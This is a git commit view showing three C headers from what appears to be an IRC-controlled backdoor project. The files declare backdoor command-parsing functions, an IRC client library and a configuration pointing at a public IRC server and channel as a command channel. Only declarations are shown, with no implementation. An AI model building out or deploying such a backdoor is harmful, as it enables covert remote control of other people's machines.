first
This commit is contained in:
commit
c174752597
8 changed files with 487 additions and 0 deletions
10
include/backdoor.h
Normal file
10
include/backdoor.h
Normal file
|
@ -0,0 +1,10 @@
|
|||
#ifndef _BACKDOOR_H
|
||||
#define _BACKDOOR_H
|
||||
#include "irc.h"
|
||||
|
||||
#define COMMON_BUF_SIZE 200
|
||||
|
||||
void backdoor_offline(void);
|
||||
void parse_cmd(IRCC_client *client);
|
||||
|
||||
#endif
|
13
include/cfg.h
Normal file
13
include/cfg.h
Normal file
|
@ -0,0 +1,13 @@
|
|||
typedef struct {
|
||||
int use_ssl;
|
||||
char *ip;
|
||||
int port;
|
||||
|
||||
char *pre_cmd;
|
||||
char *channel;
|
||||
char *channel_key;
|
||||
} SERVER;
|
||||
|
||||
SERVER servers[] = {
|
||||
{1, "irc.rizon.net", 6697, NULL, "#channel", NULL}
|
||||
};
|
65
include/irc.h
Normal file
65
include/irc.h
Normal file
|
@ -0,0 +1,65 @@
|
|||
/*
|
||||
LICENSE: WTFPL
|
||||
Simple library for working with ipv4 irc servers
|
||||
Dont support:
|
||||
ddc
|
||||
ipv6
|
||||
motd
|
||||
*/
|
||||
|
||||
#ifndef _IRCC_H
|
||||
#define _IRCC_H
|
||||
|
||||
#define IRCC_MSG_MAX 512
|
||||
#define IRCC_PING_TIMEOUT 600
|
||||
|
||||
#ifdef ENABLE_SSL
|
||||
#include <openssl/ssl.h>
|
||||
#endif
|
||||
|
||||
enum {
|
||||
IRCC_NICK = 1,
|
||||
IRCC_PRIVMSG,
|
||||
IRCC_JOIN,
|
||||
IRCC_QUIT,
|
||||
IRCC_PING,
|
||||
IRCC_TOPIC,
|
||||
IRCC_MODE,
|
||||
|
||||
IRCC_CONNECTED,
|
||||
IRCC_DISCONNECTED,
|
||||
IRCC_ERROR,
|
||||
IRCC_SUCCESS
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
int irc_socket;
|
||||
|
||||
char irc_raw[IRCC_MSG_MAX + 1];
|
||||
char *irc_msg;
|
||||
char *irc_channel;
|
||||
char *irc_nick;
|
||||
|
||||
#ifdef ENABLE_SSL
|
||||
int irc_usingssl;
|
||||
|
||||
SSL_METHOD *irc_sslmethod;
|
||||
SSL_CTX *irc_sslctx;
|
||||
SSL *irc_ssl;
|
||||
#endif
|
||||
} IRCC_client;
|
||||
|
||||
int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port);
|
||||
int IRCC_recv(IRCC_client *irc);
|
||||
int IRCC_parse(IRCC_client *irc);
|
||||
int IRCC_join(IRCC_client *irc, const char *channel, const char *key);
|
||||
int IRCC_send(IRCC_client *irc, const char *channel, const char *msg);
|
||||
int IRCC_register(IRCC_client *irc, const char *nickname);
|
||||
int IRCC_initssl(IRCC_client *irc);
|
||||
void IRCC_close(IRCC_client *irc);
|
||||
|
||||
//u - mean universal. Functions uses internal fields in structure
|
||||
int IRCC_usend(IRCC_client *irc, off_t bytes);
|
||||
int IRCC_urecv(IRCC_client *irc);
|
||||
|
||||
#endif
|
Loading…
Add table
Add a link
Reference in a new issue